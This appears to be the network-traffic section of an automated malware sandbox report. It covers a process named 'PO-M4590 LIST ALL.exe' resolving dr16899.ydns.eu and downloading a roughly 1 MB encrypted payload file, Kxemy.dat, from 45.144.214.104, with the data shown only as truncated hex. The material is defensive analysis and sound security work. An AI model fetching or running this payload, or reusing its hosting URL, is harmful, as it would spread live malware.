Mar 10, 2025 18:02:09.718952894 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.718971968 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.718974113 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.718986034 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.718997955 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.718997955 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.719010115 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.719022989 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.719034910 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.719044924 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.719049931 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.719058037 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.719072104 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.719074965 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.719086885 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.719091892 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.719099998 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.719111919 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.719122887 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.719125032 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.719137907 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.719151020 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.719152927 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.719163895 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.719180107 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.719196081 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.726984978 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.793905973 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.793948889 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.793989897 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.794002056 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.794013977 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.794025898 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.794040918 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.794069052 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.794137001 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.794270992 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.794284105 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.794296026 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.794311047 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.794318914 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.794333935 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.794346094 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.794356108 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.794358015 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.794370890 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.794384956 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.794394016 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.794398069 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.794410944 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.794423103 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.794439077 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.794442892 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.794483900 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.794491053 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.794509888 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.794521093 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.794533014 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.794548035 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.794559002 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.794560909 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.794570923 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.794581890 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.794594049 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.794603109 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.794608116 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.794620991 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.794629097 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.794632912 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.794646025 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.794652939 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.794662952 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.794671059 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.794699907 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.794702053 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.794831991 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.794843912 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.794855118 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.794872046 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.794876099 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.794886112 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.794898033 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.794898987 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.794909954 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.794922113 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.794924974 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.794939041 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.794950008 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.794954062 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.794964075 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.794974089 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.794981956 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.794986963 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.795013905 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.795038939 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.809638023 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.809659004 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.809679985 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.809690952 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.809709072 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.809720993 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.809740067 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.809741974 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.809755087 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.809768915 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.809779882 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.809792042 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.809806108 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.809840918 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.809926033 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.809958935 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.809969902 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.809971094 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.810009956 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.810022116 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.810026884 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.810033083 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.810065985 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.810146093 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.810158968 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.810173035 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.810184956 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.810185909 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.810199022 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.810208082 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.810210943 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.810225964 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.810242891 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.810245037 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.810259104 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.810260057 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.810271978 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.810302019 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.810307980 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.810321093 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.810340881 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.810399055 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.810410976 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.810421944 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.810434103 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.810441971 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.810446978 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.810452938 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.810460091 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.810472965 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.810486078 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.810512066 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.810976028 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.811069012 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.811080933 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.811091900 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.811104059 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.811108112 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.811116934 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.811129093 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.811137915 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.811141968 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.811167002 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.811188936 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.811218977 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.811235905 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.811248064 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.811266899 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.811279058 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.811286926 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.811290979 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.811300039 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.811305046 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.811319113 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.811327934 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.811332941 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.811345100 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.811347961 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.811358929 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.811376095 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.811387062 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.811388016 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.811403036 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.811407089 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.811415911 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.811438084 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.811563969 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.811575890 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.811588049 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.811599016 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.811609030 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.811611891 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.811635971 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.811646938 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.831227064 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.906141996 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.906286001 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.906306982 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.906321049 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.906332970 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.906343937 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.906331062 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.906357050 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.906371117 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.906378984 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.906383038 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.906404972 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.906420946 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.906424999 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.906440020 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.906451941 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.906462908 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.906474113 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.906475067 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.906488895 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.906500101 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.906512022 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.906523943 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.906537056 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.906548023 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.906550884 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.906558037 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.906564951 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.906579971 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.906582117 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.906599998 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.906610012 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.906613111 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.906625986 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.906636953 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.906639099 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.906651020 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.906666040 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.906671047 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.906677961 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.906683922 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.906688929 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.906701088 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.906711102 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.906721115 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.906730890 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.906743050 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.906748056 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.906759977 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.906769991 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.906774998 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.906783104 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.906795979 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.906805992 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.906807899 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.906819105 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.906831980 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.906841993 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.906845093 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.906853914 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.906857967 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.906893969 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.906897068 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.906919956 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.906945944 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.906959057 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.906969070 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.906990051 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.907001019 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.907001972 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.907012939 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.907016993 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.907044888 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.918581009 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.918622017 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.918632984 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.918633938 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.918675900 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.918730974 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.918751001 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.918762922 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.918776035 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.918790102 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.918802023 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.918812990 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.918824911 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.918828011 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.918840885 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.918844938 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.918867111 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.918876886 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.918879986 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.918889999 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.918903112 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.918906927 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.918915033 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.918929100 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.918936968 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.918941021 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.918957949 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.918962002 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.918996096 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:13.717763901 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:13.717822075 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:23.685945988 CET	49707	80	192.168.2.5	45.144.214.104

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 10, 2025 18:02:07.917943001 CET	52703	53	192.168.2.5	1.1.1.1
Mar 10, 2025 18:02:07.932595015 CET	53	52703	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 10, 2025 18:02:07.917943001 CET	192.168.2.5	1.1.1.1	0x1f1d	Standard query (0)	dr16899.ydns.eu	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 10, 2025 18:02:07.932595015 CET	1.1.1.1	192.168.2.5	0x1f1d	No error (0)	dr16899.ydns.eu		45.144.214.104	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

dr16899.ydns.eu

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49707	45.144.214.104	80	8668	C:\Users\user\Desktop\PO-M4590 LIST ALL.exe

Timestamp	Bytes transferred	Direction	Data
Mar 10, 2025 18:02:07.952316999 CET	93	OUT	GET /1/12/panel/uploads/Kxemy.dat HTTP/1.1 Host: dr16899.ydns.eu Connection: Keep-Alive
Mar 10, 2025 18:02:08.702229977 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 10 Mar 2025 17:02:08 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Mon, 10 Mar 2025 12:32:20 GMT ETag: "108210-62ffc29d69df1" Accept-Ranges: bytes Content-Length: 1081872 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Data Raw: 50 4e 92 4a 59 21 49 47 a0 0c 1a 3b 17 a9 d7 96 e3 7b cc bb 0e 88 66 6e 8e 65 0d 21 04 ea 58 1c 59 6e ae 11 a0 ce 56 db 87 14 ce 04 71 2a 48 fc b7 67 9c bf e6 f6 0d 3c de 5d 1e f5 44 8e 07 45 46 28 7a da fa b2 9c 39 95 2b 3b c1 54 82 4a a7 e4 72 6a e1 c7 b0 40 8c 92 92 65 1a da 95 20 86 ca e0 8b 2f 40 65 03 ce 74 e7 07 38 4b 32 8c 2a 3d 73 31 73 5a 6c ec 91 a9 7b 65 f8 62 d9 18 85 68 be ed fc 1c d8 67 6b 74 d9 2c 24 2e 5b e0 cd 92 a4 a8 50 5b d8 f7 94 bc 4c e8 7f 0f bd 0a 1f 0b bd da 23 ad aa 0e 0f fb 6a 53 9e 18 86 36 cb 6a 92 15 bb 8d 6e d5 e8 90 d7 a3 c2 08 0a e1 47 44 d2 39 52 89 8d 2f 18 65 33 3b e2 5d cd c7 37 9c d4 66 2f 9c cc c5 98 1b 99 93 69 32 63 a8 a8 a3 26 aa 03 de 85 f9 0a 70 3b ec a1 ff d0 18 eb 58 33 0b cf 1c c8 3c db e9 12 9c c4 cb 49 9d 4b 08 d2 b3 5d 26 9d 60 1f b1 71 6f a0 be 41 f9 c9 ff 01 bb 55 85 21 37 95 11 bf 63 d8 0a 5d 77 cd e1 36 da 9f 62 a7 4f 34 13 e7 00 3f 57 e6 17 50 5c ad 95 89 94 b3 c9 41 83 c1 1a 42 8c ae ce 32 64 a2 eb 11 50 bb 70 9e 46 ad 7c f1 04 05 2c 21 3f 68 [TRUNCATED] Data Ascii: PNJY!IG;{fne!XYnVqHg<]DEF(z9+;TJrj@e /@et8K2=s1sZl{ebhgkt,$.[P[L#jS6jnGD9R/e3;]7f/i2c&p;X3<IK]&`qoAU!7c]w6bO4?WP\AB2dPpF\|,!?hDN>#v^ `.Eukf0>WBkm7`[ 6Or\|"5hr\|<k:vK!>,BJd2:We"<P\|@]lm@wM[!#^3JDLq\|Dy!yqCv%6ah%xogeOSW/=nc`85>U'-?f/D(N+$)v>T#Jr<O($^{qvcUF$#HzNr( .)gVy.>1E^6Wzn]3rR"Q1rzt3%SunWrAbV<4^8.V^!"k{23<\|P.7"X+[vr*.}b/:!vc
